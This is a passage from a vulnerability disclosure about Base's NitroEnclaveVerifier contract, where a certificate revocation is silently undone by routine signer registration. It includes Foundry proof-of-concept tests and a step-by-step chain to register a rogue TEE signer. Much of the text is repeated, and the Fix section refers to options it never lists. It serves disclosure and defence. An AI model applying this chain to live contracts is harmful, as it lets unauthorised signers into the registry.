        bytes32 certHash = journal.certs[i];
        trustedIntermediateCerts[certHash] = journal.certExpiries[i];   // unconditional rewrite
    }
}

revokeCert (NitroEnclaveVerifier.sol:347-353) zeros the storage entry. With trustedCertsPrefixLen = 1, Pass 1 only checks the root and skips every intermediate, Pass 2 reads journal-supplied expiries, and _cacheNewCert rewrites every intermediate's trustedIntermediateCerts entry to journal.certExpiries[i]. No on-chain state distinguishes "previously revoked" from "never seen".

On mainnet relevance: DEFAULT_TRUSTED_CERTS_PREFIX = 1 is unoverrideable in the shipped registrar binary, with no CLI flag, no config field and no network conditional. The prover-side type comment at boundless.rs:75-76 documents the intent: "Number of trusted certificates in the chain (typically 1 for root-only)."

The NatSpec note at NitroEnclaveVerifier.sol:345 reads: "A revoked cert can be trusted again by reproving it." A literal reading, where any reproving rebuilds the cache including reproving with the same compromised CA, leaves revokeCert with no on-chain effect under the production prefix length. The function is onlyOwnerOrRevoker, emits a dedicated CertRevoked event, declares a dedicated CertificateNotFound error, and is the contract's only on-chain handle for responding to upstream-CA compromise. The narrower reading, that re-trust applies after the upstream issue is resolved (for example AWS rotates the intermediate or the attacker key is recovered), is not enforced by the contract or the registrar.

Exploitation

Step 1: the operator revokes the compromised intermediate

The operator calls revokeCert(C) on the verifier, zeroing trustedIntermediateCerts[C]. In the Tier A test this is done by the revoker account:

Solidity
vm.prank(revokerAddr);
verifier.revokeCert(CERT_INTER);
assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero");

Step 2: an attestation arrives with the production prefix length

An attestation carrying trustedCertsPrefixLen = 1 is submitted. The chain is [root, CERT_INTER, leaf], so CERT_INTER sits in the suffix beyond Pass 1's iteration bound. The journal is crafted as follows:

Solidity
function _craftJournal() internal view returns (VerifierJournal memory) {
    bytes32[] memory certs = new bytes32[](3);
    certs[0] = ROOT_CERT;
    certs[1] = CERT_INTER;
    certs[2] = CERT_LEAF;

    uint64[] memory expiries = new uint64[](3);
    expiries[0] = CERT_INTER_NATURAL_EXPIRY + 100_000_000;
    expiries[1] = CERT_INTER_NATURAL_EXPIRY;
    expiries[2] = LEAF_NATURAL_EXPIRY;

    Pcr[] memory pcrs = new Pcr[](0);

    return VerifierJournal({
        result: VerificationResult.Success,
        trustedCertsPrefixLen: 1, // production default -- only the root is in the trusted prefix
        timestamp: uint64(block.timestamp - 1) * 1000,
        certs: certs, certExpiries: expiries,
        userData: "", nonce: "", publicKey: "",
        pcrs: pcrs,
        moduleId: "compromised-attestation"
    });
}

The ZK verifier is mocked so that signature validity is not the variable under test:

Solidity
function _mockRiscZeroVerify(bytes32 programId, bytes memory output, bytes memory proofBytes) internal {
    vm.mockCall(
        mockRiscZeroVerifier,
        abi.encodeWithSelector(
            bytes4(keccak256("verify(bytes,bytes32,bytes32)")), proofBytes, programId, sha256(output)
        ),
        ""
    );
}

Step 3: the proofSubmitter forwards it and the cache is restored

Pass 1 only checks the root, Pass 2 reads journal-supplied future expiries, and _cacheNewCert rewrites the suffix unconditionally. The revoked entry comes back:

Solidity
vm.prank(submitter);
VerifierJournal memory result = verifier.verify(output, ZkCoProcessorType.RiscZero, proofBytes);

assertEq(uint8(result.result), uint8(VerificationResult.Success), "verify should return Success");
assertEq(
    verifier.trustedIntermediateCerts(CERT_INTER),
    CERT_INTER_NATURAL_EXPIRY,
    "Tier A: revoked cert restored to the trusted set"
);

A sanity check then shows the chain is treated as fully trusted again at depth 3:

Solidity
bytes32[][] memory reportCerts = new bytes32[][](1);
reportCerts[0] = new bytes32[](3);
reportCerts[0][0] = ROOT_CERT;
reportCerts[0][1] = CERT_INTER;
reportCerts[0][2] = CERT_LEAF;
uint8[] memory trustedLens = verifier.checkTrustedIntermediateCerts(reportCerts);
assertEq(trustedLens[0], 3, "checkTrustedIntermediateCerts treats the chain as fully trusted again");

Step 4: control case at a normal prefix length

The second Tier A test places the revoked cert inside the trusted prefix (prefixLen = 2). Pass 1 then catches it, which confirms that Pass 1 is the only on-chain enforcement and that the production prefix length of 1 silently elides it:

Solidity
journal.trustedCertsPrefixLen = 2;
Solidity
assertEq(
    uint8(result.result),
    uint8(VerificationResult.IntermediateCertsNotTrusted),
    "Pass 1 catches the revoked cert when it is in the trusted prefix"
);
assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "control: cert stays revoked");

Step 5: chain into a registered signer admitted by AggregateVerifier

registerSigner (TEEProverRegistry.sol:145) calls NITRO_VERIFIER.verify, then on Success records isRegisteredSigner[enclaveAddress] = true (line 170) and signerImageHash[enclaveAddress] = pcr0Hash (line 171). TEEVerifier.verify (TEEVerifier.sol:81,86,94) admits proofs when the proposer, registered-signer and image-hash gates all pass. AggregateVerifier._verifyTeeProof (AggregateVerifier.sol:870-899, TEE_IMAGE_HASH at line 893, TEE_VERIFIER.verify(...) at line 899) accepts the resulting TEE proof.

After revokeCert(C), the attack chain is:

  1. The attacker holds C's private key, which is the premise of the threat that motivated the revocation.
  2. The attacker mints a leaf cert under C for a keypair they control.
  3. The attacker runs the open-source enclave image, so PCR0 deterministically equals the live TEE_IMAGE_HASH.
  4. The Nitro attestation document carries [root, C, attacker_leaf], the attacker's leaf public key, and a matching PCR0.
  5. The off-chain prover, or the attacker simulating it, packages the attestation with trustedCertsPrefixLen = 1, the production default.
  6. The manager forwards it via registerSigner. _verifyJournal returns Success, _cacheNewCert rewrites C, and registerSigner records the attacker's enclave address with signerImageHash = TEE_IMAGE_HASH.
  7. The attacker's keypair signs TEE proofs that pass all three TEEVerifier.verify gates (proposer, registered-signer, image-hash). AggregateVerifier._verifyTeeProof delegates to TEE_VERIFIER.verify(...) at line 899, so any proof admitted by TEEVerifier.verify is admitted by AggregateVerifier's TEE path on the same journal.

The Tier B test drives this. The verifier is deployed from artifact bytecode to work around the pragma conflict:

Solidity
bytes memory args = abi.encode(
    owner, MAX_TIME_DIFF, trustedCerts, trustedCertExpiries,
    ROOT_CERT, address(0xdEaD), revokerAddr, // proofSubmitter overwritten below
    ZkCoProcessorType.RiscZero, zkCfg, VERIFIER_PROOF_ID
);
verifierAddr = deployCode("NitroEnclaveVerifier.sol:NitroEnclaveVerifier", args);

The system is wired with a mock factory and a mock aggregate verifier that returns a fixed image hash, a real TEEProverRegistry behind a TransparentUpgradeableProxy, and a real TEEVerifier. The registry is set as the verifier's proofSubmitter, matching the production submission path, and a proposer is registered:

Solidity
INitroEnclaveVerifierTest(verifierAddr).setProofSubmitter(address(sys.registry));

sys.teeVerifier =
    new TEEVerifier(TEEProverRegistry(address(sys.registry)), IAnchorStateRegistry(address(0)));

sys.proposerAddr = makeAddr("proposer");
sys.registry.setProposer(sys.proposerAddr, true);

The test then revokes, registers the attacker, and checks the resulting state:

Solidity
vm.prank(revokerAddr);
INitroEnclaveVerifierTest(verifierAddr).revokeCert(CERT_INTER);
assertEq(
    INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero"
);

address attackerAddr = vm.addr(ATTACKER_PRIV);
_registerAttacker(sys.registry);

assertTrue(sys.registry.isRegisteredSigner(attackerAddr), "attacker registered as signer");
assertEq(sys.registry.signerImageHash(attackerAddr), sys.liveImage, "signer image hash matches live");
assertEq(
    INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER),
    CERT_INTER_NATURAL_EXPIRY,
    "revoked cert restored as side effect of registration"
);

bool ok = _attackerSignedProofVerifies(sys);
assertTrue(ok, "TEEVerifier admits attacker-signed proof");

The attacker keypair is derived from a known private key, with the public coordinates checked against vm.addr(ATTACKER_PRIV). The PCR0 is split into Bytes48 and hashed to the live image hash, matching the on-chain image-hash check in TEEProverRegistry._extractPCR0Hash and TEEVerifier:

Solidity
bytes32 internal constant PCR0_FIRST =
    [redacted];
bytes16 internal constant PCR0_SECOND = [redacted];
Solidity
sys.liveImage = keccak256(abi.encodePacked(PCR0_FIRST, PCR0_SECOND));

Root cause

The verifier's trust model assumes that the certificates in the trusted prefix are the only ones whose on-chain state matters. Pass 1 enforces on-chain trust for indices below trustedCertsPrefixLen, and Pass 2 trusts the journal's own expiry values for everything after it. _cacheNewCert then writes those journal-supplied expiries into trustedIntermediateCerts for every suffix certificate, with no check against prior revocation. Because the production registrar hardcodes DEFAULT_TRUSTED_CERTS_PREFIX = 1, every intermediate is in the suffix, so revokeCert is undone by the next successful verification.

The existing defences do not stop this. The registrar's CRL check only consults AWS-published CRLs and fails open, so it does not see the on-chain revocation. The NatSpec note documents that a revoked cert can be trusted again by reproving it, but nothing in the contract or registrar enforces the narrower reading in which re-trust only applies after the upstream issue is resolved. The prefix length is not configurable in the shipped binary, so operators cannot raise it to put intermediates back inside Pass 1.

Impact

The report frames the primary impact as Tier B (High), matching the scope bracket "Registering a malicious or unauthorized TEE enclave signer in the TEEProverRegistry without valid attestation (PCR0 mismatch or missing attestation)." After revokeCert(C), the registry has explicitly withdrawn trust from chains anchored on C, so an attestation traversing C is, per the registry's published on-chain trust state, an unauthorised attestation. The bypass admits exactly such an attestation, and the PoC-verified chain reaches AggregateVerifier-accepted TEE proofs signed by the actor revokeCert was deployed to lock out.

The floor is Tier A (Medium), matching "Griefing that causes damage to users or the protocol without direct profit motive for the attacker." The on-chain emergency primitive revokeCert has no durability under the production registrar configuration: no attacker key and no Base-infrastructure compromise are needed, because routine signer registration restores the cache.

The report argues that neither of the program's two TEE downgrade clauses applies. The first, that reports relying on an invalid TEE or ZK proof will be downgraded, especially TEE proofs unless it can be shown that a key compromise is unnecessary, does not land because the Tier B PoC submits a cryptographically valid Nitro attestation: the AWS root signs the intermediate, the revoked intermediate signs the attacker's leaf, and the leaf attests a real PCR0 measured by an actual enclave running the open-source image. No signature is invalid and no PCR0 is missing or mismatched. The bug is that a valid proof under an explicitly revoked CA is accepted, contradicting the on-chain trust state. The qualifier about a key compromise being unnecessary also rules out automatic downgrade, since Tier A demonstrates the on-chain effect with no attacker key. The second clause, downgrading valid reports if the attack requires compromising Base-operated infrastructure, does not apply either: the Tier B chain does not require compromising Base's registrar, sequencer or any Base-operated key, only obtaining the revoked CA's key, which is the premise that motivates revokeCert in the first place. Routine target-group enrolment for an attacker-run enclave is also described as operationally plausible without Base-side compromise, for example any AWS Nitro instance under the still-valid intermediate that the operator's discovery layer accepts.

The report reads the High bracket's parenthetical (PCR0 mismatch or missing attestation) as illustrative rather than exhaustive, with the load-bearing qualifier being "without valid attestation". Under the registry's own published trust state after revokeCert(C), an attestation through C is not valid for registry trust purposes.

Fix

The report does not describe a code change made in response. The only action it records on the earlier Cantina finding was the NatSpec line at NitroEnclaveVerifier.sol:345 added in PR-251, which documents the behaviour rather than preventing it. The report does not describe a code change made in response, and it does not prescribe a fix. The report itself does not prescribe which of these to implement.

Variants to test

  1. Other verifiers with a prefix/suffix split. Look for any journal field that selects how much of a chain is checked against on-chain state. A positive result is a chain whose revoked or never-trusted element sits in the suffix and still verifies.
  2. Cache writers that overwrite without checking prior state. Search for writes to a trusted-set mapping that take their value from the submitted proof. A positive result is a revoked entry reappearing after a successful verification.
  3. Off-chain components that filter on an external source only. Check whether the registrar or relayer reads the on-chain revocation mapping. A positive result is a registration forwarded through a CA that the contract has already revoked.
  4. Hardcoded defaults in shipped binaries. Look for constants that shape trust decisions and cannot be overridden by flag, config or network. A positive result is a production build whose default weakens an on-chain check.
  5. Emergency primitives with no durability. For any revoke, pause or freeze function, check whether a later routine operation reverses it. A positive result is a revocation that a normal user or operator action undoes.

Hunting notes

This kind of bug tends to hide where an on-chain trust cache is fed by values the submitter controls, and where a configuration constant decides how much of that input is checked against storage. The signal during recon is a verifier with a journal struct that carries both certificate hashes and their expiries, plus a separate mapping of trusted certificates and a revocation function. A second signal is an off-chain component in the same repository that builds those journals, especially one with a hardcoded default for how many certificates are trusted. Reading the prover-side type comments often reveals the intended semantics that the on-chain code does not enforce.

The report showed enough impact by building two tiers. Tier A demonstrates the on-chain effect with no attacker key, which addresses the griefing bracket and the key-compromise downgrade clause. Tier B carries the same defect through registerSigner into TEEVerifier.verify and AggregateVerifier, using a cryptographically valid attestation so that the invalid-proof downgrade clause does not apply. It also explicitly addresses the known-issue rules by separating the new material (production prefix length, CRL-only registrar, end-to-end chain to accepted proofs) from the earlier Informational finding, and by quoting the team's actual response to that finding.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

Base is a blockchain network. Part of its software checks that certain programs, called TEEs (Trusted Execution Environments), really are what they claim to be before the network trusts the proofs they produce. To do that, the software relies on digital certificates, the same kind of thing a website uses to prove its identity to your browser.

Certificates are issued in a chain: a root certificate signs an intermediate certificate, and the intermediate signs a leaf certificate for a particular machine. If one of those certificates is ever stolen or compromised, the operators of the system need a way to say "stop trusting anything that comes through this certificate". Base's smart contract has a function for exactly that, called revokeCert.

This report shows that the revocation does not last. The next time a normal, routine registration happens, the revoked certificate is quietly written back into the trusted list. An attacker who holds the stolen certificate's key can then register their own machine as a trusted signer and have its proofs accepted by the network.

The report is rated Low severity by the platform, but the author argues for Tier B (High) as the primary impact, with a Tier A (Medium) floor, because it lets an unauthorised signer into the registry. The report includes working test code (a "proof of concept", or PoC) that demonstrates the problem in two tiers: a simple tier that shows the revocation being undone, and a fuller tier that carries the attack all the way to an accepted proof.

Background: the pieces involved

Before the details, here are the parts of the system the report talks about, explained from scratch.

  • Smart contract: a small program that lives on a blockchain. Once deployed, anyone can call its public functions, and its stored data is visible to everyone. Think of it as a vending machine that anyone can walk up to and press buttons on.
  • Certificate: a digital document that binds a public key to an identity, signed by someone else who vouches for it. Your browser checks certificates every time you visit an HTTPS site.
  • Certificate chain: certificates vouch for each other in layers. A root certificate signs an intermediate certificate, and the intermediate signs a leaf certificate for a specific machine. To trust the leaf, you have to trust the whole chain up to the root.
  • CA (Certificate Authority): the entity that issues and signs certificates. In this report the relevant CA is AWS, whose Nitro service issues attestation certificates.
  • Attestation document: a signed statement from a TEE saying "this is the exact program I am running, and here is my public key". The network checks this document before trusting the TEE.
  • PCR0: a fingerprint (hash) of the program running inside the TEE. If two machines run the same program, their PCR0 is identical. The network compares the PCR0 in the attestation against the expected value, called TEE_IMAGE_HASH.
  • Journal: the structured data package that carries the certificate chain, the expiry dates, the PCR0 values and other fields. The verifier reads the journal to decide whether to trust the attestation.
  • trustedCertsPrefixLen: a number inside the journal that says how many certificates at the start of the chain should be checked against the contract's own stored list of trusted certificates. Everything after that number is called the "suffix".
  • revokeCert: a function on the contract that removes a certificate from the trusted list. It is the emergency brake for when a CA is compromised.
  • CRL (Certificate Revocation List): a list published by a CA saying which of its certificates are no longer valid. AWS publishes these.
  • Foundry: a toolkit for writing and running tests against smart contracts. The tests in this report are written in Solidity, the language of Ethereum-style contracts.
  • Mock: a stand-in for a real component in a test, so that the test can focus on one specific behaviour. Here the zero-knowledge verifier is mocked, because the bug is not in the cryptography but in how the contract stores its trust decisions.

The setup: what the report compares itself to

An earlier audit by a firm called Cantina (TEE Audit 2, Finding #5) had already noticed that a revoked certificate could become trusted again. Its recommendation, quoted word for word in the report, was:

"Trusted certificates can only be added by a trusted party, this reduces the impact of this issue. Consider adding comments to mention the fact that revoked certificates can be trusted again."

That finding was rated Informational, the lowest level. The team's only response was to add a single comment line in the code at NitroEnclaveVerifier.sol:345, through a pull request numbered PR-251. No code was changed to prevent the behaviour.

This report argues that the earlier finding underestimated the problem, for three reasons.

  1. The production software hardcodes the dangerous setting. The file base/bin/prover-registrar/src/cli.rs at line 44 defines DEFAULT_TRUSTED_CERTS_PREFIX: u8 = 1, and that value is used unchanged at lines 509 and 522. Every attestation the registrar produces therefore carries journal.trustedCertsPrefixLen = 1. With that value, the first checking pass only looks at the root certificate, every intermediate certificate falls into the unchecked suffix, and the caching function rewrites every intermediate's stored entry on every successful verification. The "trusted party" that Cantina relied on to reduce the impact is the registrar itself, and the registrar's default configuration is what produces the bypass.
  2. The off-chain registrar never looks at the on-chain revocation state. The file base/crates/proof/tee/registrar/src/driver.rs at lines 404 to 435 checks only the CRLs that AWS publishes, and it fails open on errors, meaning that if the check fails it lets the registration through. It never reads NitroEnclaveVerifier.trustedIntermediateCerts, the contract's own list. revokeCert exists precisely for the window where the operator suspects a compromise but AWS has not yet published a CRL. During that window the registrar keeps forwarding registrations through the suspect CA, and each one restores the cache.
  3. The chain reaches a registered TEE signer end to end. With the revoked CA's key, an attacker can create a leaf certificate for a keypair they control, run the open-source enclave image (whose PCR0 is deterministic, so it matches the expected value), and submit through the registrar. After the cache is restored and the signer is registered, signerImageHash[attacker] == TEE_IMAGE_HASH. TEEVerifier.verify then accepts proofs signed by the attacker's key, subject to the proposer gate, and AggregateVerifier._verifyTeeProof accepts them through the same call path. The proof of concept drives this all the way through registerSigner and TEEVerifier.verify.

The report also quotes Immunefi's rules about known issues. Recognising an attack vector or a general risk does not by itself count as knowing the issue, because both the exploit method and its impact must be fully understood. An issue that was known but not acted upon may still be eligible. Different execution methods or new insights can make it a distinct issue. Cantina recognised the vector but bounded the impact using a mitigation that the production code does not implement, and the team's only action was a one-line comment with no code fix.

The proof of concept consists of three Foundry tests spread across two files. Mocking is limited to IRiscZeroVerifier, the off-chain zero-knowledge verifier, because the defect lives in the Solidity trust-cache logic. The second tier sits in a separate file because TEEProverRegistry pins its source pragma to =0.8.15 while NitroEnclaveVerifier transitively requires >=0.8.20 through ISP1Verifier. No single pragma satisfies both, so the second-tier file deploys NitroEnclaveVerifier from compiled bytecode using vm.deployCode and talks to it through a minimal interface.

Finding it: how the verification logic works

The function _verifyJournal at NitroEnclaveVerifier.sol:597 splits chain validation into two passes:

Solidity
// Pass 1 -- only iterates indices < trustedCertsPrefixLen, checks on-chain trust
for (uint256 i = 0; i < journal.trustedCertsPrefixLen; i++) {
    bytes32 certHash = journal.certs[i];
    if (i == 0) {
        if (certHash != rootCert) {
            journal.result = VerificationResult.RootCertNotTrusted;
            return journal;
        }
        continue;
    }
    uint64 expiry = trustedIntermediateCerts[certHash];                  // line 615
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.IntermediateCertsNotTrusted;
        return journal;
    }
}
// Pass 2 -- only the journal-supplied expiry, never storage
for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
    uint64 expiry = journal.certExpiries[i];                             // line 623
    if (block.timestamp > expiry) {
        journal.result = VerificationResult.InvalidTimestamp;
        return journal;
    }
}
// Timestamp checks omitted; on success, _cacheNewCert is invoked.
_cacheNewCert(journal);                                                  // line 634

Line by line, in plain words:

  • The first loop runs only for the first trustedCertsPrefixLen certificates in the chain. With the production value of 1, that means only the very first certificate, the root.
  • For the root (index 0), it checks that the hash matches the contract's stored rootCert. If not, it returns a failure result.
  • For any other certificate inside the prefix, it looks up the expiry in the contract's own storage, trustedIntermediateCerts. If the stored expiry is in the past (or zero, which is what revocation sets it to), it returns IntermediateCertsNotTrusted.
  • The second loop runs over everything after the prefix, the suffix. It reads the expiry from the journal itself, journal.certExpiries[i], not from storage. So the submitter supplies the value being checked.
  • If both loops pass, the function calls _cacheNewCert at line 634.

The caching function _cacheNewCert at NitroEnclaveVerifier.sol:574 looks like this:

Solidity
function _cacheNewCert(VerifierJournal memory journal) internal {
    for (uint256 i = journal.trustedCertsPrefixLen; i < journal.certs.length; i++) {
        bytes32 certHash = journal.certs[i];
        trustedIntermediateCerts[certHash] = journal.certExpiries[i];   // unconditional rewrite
    }
}

This loop walks over every certificate in the suffix and writes the journal's expiry value into the contract's storage, with no condition. It does not ask whether the entry was previously revoked. It simply overwrites it.

revokeCert at NitroEnclaveVerifier.sol:347-353 sets the storage entry to zero. With trustedCertsPrefixLen = 1, the first pass only checks the root and skips every intermediate, the second pass reads expiries supplied by the journal, and _cacheNewCert rewrites every intermediate's entry to journal.certExpiries[i]. Nothing on-chain distinguishes "previously revoked" from "never seen".

The production relevance is that DEFAULT_TRUSTED_CERTS_PREFIX = 1 cannot be overridden in the shipped registrar binary. There is no command-line flag, no configuration field and no network conditional. The prover-side type comment at boundless.rs:75-76 documents the intent: "Number of trusted certificates in the chain (typically 1 for root-only)."

The comment added at NitroEnclaveVerifier.sol:345 reads: "A revoked cert can be trusted again by reproving it." Read literally, any reproving rebuilds the cache, including reproving with the same compromised CA, which leaves revokeCert with no on-chain effect under the production prefix length. The function is restricted to the owner or a revoker, emits a dedicated CertRevoked event, declares a dedicated CertificateNotFound error, and is the contract's only on-chain handle for responding to an upstream CA compromise. The narrower reading, that re-trust applies only after the upstream issue is resolved (for example AWS rotates the intermediate or the attacker's key is recovered), is not enforced by the contract or the registrar.

Exploitation: walking through the attack

Step 1: the operator revokes the compromised intermediate

The operator calls revokeCert(C) on the verifier, which zeroes trustedIntermediateCerts[C]. In the first-tier test this is done by the revoker account:

Solidity
vm.prank(revokerAddr);
verifier.revokeCert(CERT_INTER);
assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero");

vm.prank tells the test framework to make the next call as if it came from revokerAddr, so the permission check passes. The assertEq then confirms that the stored value is now zero, which is how the contract records "not trusted".

Step 2: an attestation arrives with the production prefix length

An attestation carrying trustedCertsPrefixLen = 1 is submitted. The chain is [root, CERT_INTER, leaf], so CERT_INTER sits in the suffix, beyond the first pass's iteration bound. The journal is built like this:

Solidity
function _craftJournal() internal view returns (VerifierJournal memory) {
    bytes32[] memory certs = new bytes32[](3);
    certs[0] = ROOT_CERT;
    certs[1] = CERT_INTER;
    certs[2] = CERT_LEAF;

    uint64[] memory expiries = new uint64[](3);
    expiries[0] = CERT_INTER_NATURAL_EXPIRY + 100_000_000;
    expiries[1] = CERT_INTER_NATURAL_EXPIRY;
    expiries[2] = LEAF_NATURAL_EXPIRY;

    Pcr[] memory pcrs = new Pcr[](0);

    return VerifierJournal({
        result: VerificationResult.Success,
        trustedCertsPrefixLen: 1, // production default -- only the root is in the trusted prefix
        timestamp: uint64(block.timestamp - 1) * 1000,
        certs: certs, certExpiries: expiries,
        userData: "", nonce: "", publicKey: "",
        pcrs: pcrs,
        moduleId: "compromised-attestation"
    });
}

This function builds the data package the verifier will read. The certs array holds three hashes: the root, the compromised intermediate and the attacker's leaf. The expiries array holds three dates, all in the future relative to the test's clock. The trustedCertsPrefixLen is set to 1, matching the production default, so only the root will be checked against storage. The pcrs array is empty because this tier is not testing the image fingerprint. The moduleId string is just a label.

The zero-knowledge verifier is mocked so that signature validity is not the variable under test:

Solidity
function _mockRiscZeroVerify(bytes32 programId, bytes memory output, bytes memory proofBytes) internal {
    vm.mockCall(
        mockRiscZeroVerifier,
        abi.encodeWithSelector(
            bytes4(keccak256("verify(bytes,bytes32,bytes32)")), proofBytes, programId, sha256(output)
        ),
        ""
    );
}

vm.mockCall tells the test framework: whenever someone calls the mock verifier with these exact arguments, return an empty success instead of running the real check. The point is that the bug is in the Solidity trust-cache logic, not in whether the cryptographic signatures are valid, so the test removes the cryptography from the picture.

Step 3: the proofSubmitter forwards it and the cache is restored

The first pass only checks the root, the second pass reads future expiries supplied by the journal, and _cacheNewCert rewrites the suffix unconditionally. The revoked entry comes back:

Solidity
vm.prank(submitter);
VerifierJournal memory result = verifier.verify(output, ZkCoProcessorType.RiscZero, proofBytes);

assertEq(uint8(result.result), uint8(VerificationResult.Success), "verify should return Success");
assertEq(
    verifier.trustedIntermediateCerts(CERT_INTER),
    CERT_INTER_NATURAL_EXPIRY,
    "Tier A: revoked cert restored to the trusted set"
);

The call is made as the submitter account, which is the account allowed to forward attestations. The first assertion checks that the verifier returned Success. The second checks that the storage entry for CERT_INTER, which was zero a moment ago, now holds the natural expiry again. The revocation has been undone by a normal verification.

A sanity check then shows the chain is treated as fully trusted again at depth 3:

Solidity
bytes32[][] memory reportCerts = new bytes32[][](1);
reportCerts[0] = new bytes32[](3);
reportCerts[0][0] = ROOT_CERT;
reportCerts[0][1] = CERT_INTER;
reportCerts[0][2] = CERT_LEAF;
uint8[] memory trustedLens = verifier.checkTrustedIntermediateCerts(reportCerts);
assertEq(trustedLens[0], 3, "checkTrustedIntermediateCerts treats the chain as fully trusted again");

This builds a report containing the same three-certificate chain and asks the contract's helper function how many of them it considers trusted. The answer is 3, meaning the whole chain, including the revoked intermediate, is trusted again.

Step 4: control case at a normal prefix length

The second first-tier test places the revoked certificate inside the trusted prefix (prefixLen = 2). The first pass then catches it, which confirms that the first pass is the only on-chain enforcement and that the production value of 1 silently skips it:

Solidity
journal.trustedCertsPrefixLen = 2;
Solidity
assertEq(
    uint8(result.result),
    uint8(VerificationResult.IntermediateCertsNotTrusted),
    "Pass 1 catches the revoked cert when it is in the trusted prefix"
);
assertEq(verifier.trustedIntermediateCerts(CERT_INTER), 0, "control: cert stays revoked");

With the prefix length raised to 2, the intermediate is now inside the checked region. The verifier returns IntermediateCertsNotTrusted, and the storage entry stays at zero. This is the control case: it proves the mechanism works when configured correctly, and that the production configuration is what defeats it.

Step 5: chain into a registered signer admitted by AggregateVerifier

registerSigner at TEEProverRegistry.sol:145 calls NITRO_VERIFIER.verify, and on Success it records isRegisteredSigner[enclaveAddress] = true at line 170 and signerImageHash[enclaveAddress] = pcr0Hash at line 171. TEEVerifier.verify at TEEVerifier.sol:81,86,94 admits proofs when the proposer, registered-signer and image-hash gates all pass. AggregateVerifier._verifyTeeProof at AggregateVerifier.sol:870-899, with TEE_IMAGE_HASH at line 893 and TEE_VERIFIER.verify(...) at line 899, accepts the resulting TEE proof.

After revokeCert(C), the attack chain runs as follows:

  1. The attacker holds C's private key, which is the premise of the threat that motivated the revocation.
  2. The attacker creates a leaf certificate under C for a keypair they control.
  3. The attacker runs the open-source enclave image, so PCR0 deterministically equals the live TEE_IMAGE_HASH.
  4. The Nitro attestation document carries [root, C, attacker_leaf], the attacker's leaf public key, and a matching PCR0.
  5. The off-chain prover, or the attacker simulating it, packages the attestation with trustedCertsPrefixLen = 1, the production default.
  6. The manager forwards it through registerSigner. _verifyJournal returns Success, _cacheNewCert rewrites C, and registerSigner records the attacker's enclave address with signerImageHash = TEE_IMAGE_HASH.
  7. The attacker's keypair signs TEE proofs that pass all three TEEVerifier.verify gates (proposer, registered-signer, image-hash). AggregateVerifier._verifyTeeProof delegates to TEE_VERIFIER.verify(...) at line 899, so any proof admitted by TEEVerifier.verify is admitted by AggregateVerifier's TEE path on the same journal.

The second-tier test drives this. The verifier is deployed from compiled bytecode to work around the pragma conflict:

Solidity
bytes memory args = abi.encode(
    owner, MAX_TIME_DIFF, trustedCerts, trustedCertExpiries,
    ROOT_CERT, address(0xdEaD), revokerAddr, // proofSubmitter overwritten below
    ZkCoProcessorType.RiscZero, zkCfg, VERIFIER_PROOF_ID
);
verifierAddr = deployCode("NitroEnclaveVerifier.sol:NitroEnclaveVerifier", args);

abi.encode packs the constructor arguments into a byte string, and deployCode deploys the contract from its compiled artifact using those arguments. The placeholder address(0xdEaD) for the proof submitter is replaced later in the test.

The system is wired with a mock factory and a mock aggregate verifier that returns a fixed image hash, a real TEEProverRegistry behind a TransparentUpgradeableProxy, and a real TEEVerifier. The registry is set as the verifier's proofSubmitter, matching the production submission path, and a proposer is registered:

Solidity
INitroEnclaveVerifierTest(verifierAddr).setProofSubmitter(address(sys.registry));

sys.teeVerifier =
    new TEEVerifier(TEEProverRegistry(address(sys.registry)), IAnchorStateRegistry(address(0)));

sys.proposerAddr = makeAddr("proposer");
sys.registry.setProposer(sys.proposerAddr, true);

setProofSubmitter makes the registry the only account allowed to forward attestations, which mirrors production. The TEEVerifier is deployed with the registry and a placeholder anchor state registry. makeAddr creates a deterministic test address, and setProposer marks it as an allowed proposer.

The test then revokes, registers the attacker, and checks the resulting state:

Solidity
vm.prank(revokerAddr);
INitroEnclaveVerifierTest(verifierAddr).revokeCert(CERT_INTER);
assertEq(
    INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER), 0, "post-revoke: zero"
);

address attackerAddr = vm.addr(ATTACKER_PRIV);
_registerAttacker(sys.registry);

assertTrue(sys.registry.isRegisteredSigner(attackerAddr), "attacker registered as signer");
assertEq(sys.registry.signerImageHash(attackerAddr), sys.liveImage, "signer image hash matches live");
assertEq(
    INitroEnclaveVerifierTest(verifierAddr).trustedIntermediateCerts(CERT_INTER),
    CERT_INTER_NATURAL_EXPIRY,
    "revoked cert restored as side effect of registration"
);

bool ok = _attackerSignedProofVerifies(sys);
assertTrue(ok, "TEEVerifier admits attacker-signed proof");

The revoker revokes the intermediate and the test confirms the entry is zero. vm.addr(ATTACKER_PRIV) derives the attacker's address from a known private key. _registerAttacker submits the crafted journal through the registry. The assertions then check three things: the attacker is now a registered signer, the attacker's recorded image hash matches the live image, and the revoked certificate has been restored as a side effect. Finally, _attackerSignedProofVerifies checks that a proof signed by the attacker's key is accepted by TEEVerifier.

The attacker keypair is derived from a known private key, with the public coordinates checked against vm.addr(ATTACKER_PRIV). The PCR0 is split into Bytes48 and hashed to the live image hash, matching the on-chain image-hash check in TEEProverRegistry._extractPCR0Hash and TEEVerifier:

Solidity
bytes32 internal constant PCR0_FIRST =
    [redacted];
bytes16 internal constant PCR0_SECOND = [redacted];
Solidity
sys.liveImage = keccak256(abi.encodePacked(PCR0_FIRST, PCR0_SECOND));

The two constants are the two halves of the PCR0 value, split because the contract stores it in a Bytes48 type. abi.encodePacked joins them back together, and keccak256 hashes the result to produce the image hash the contract will compare against.

Root cause

The verifier's trust model assumes that the certificates inside the trusted prefix are the only ones whose on-chain state matters. The first pass enforces on-chain trust for indices below trustedCertsPrefixLen, and the second pass trusts the journal's own expiry values for everything after it. _cacheNewCert then writes those journal-supplied expiries into trustedIntermediateCerts for every suffix certificate, with no check against prior revocation. Because the production registrar hardcodes DEFAULT_TRUSTED_CERTS_PREFIX = 1, every intermediate is in the suffix, so revokeCert is undone by the next successful verification.

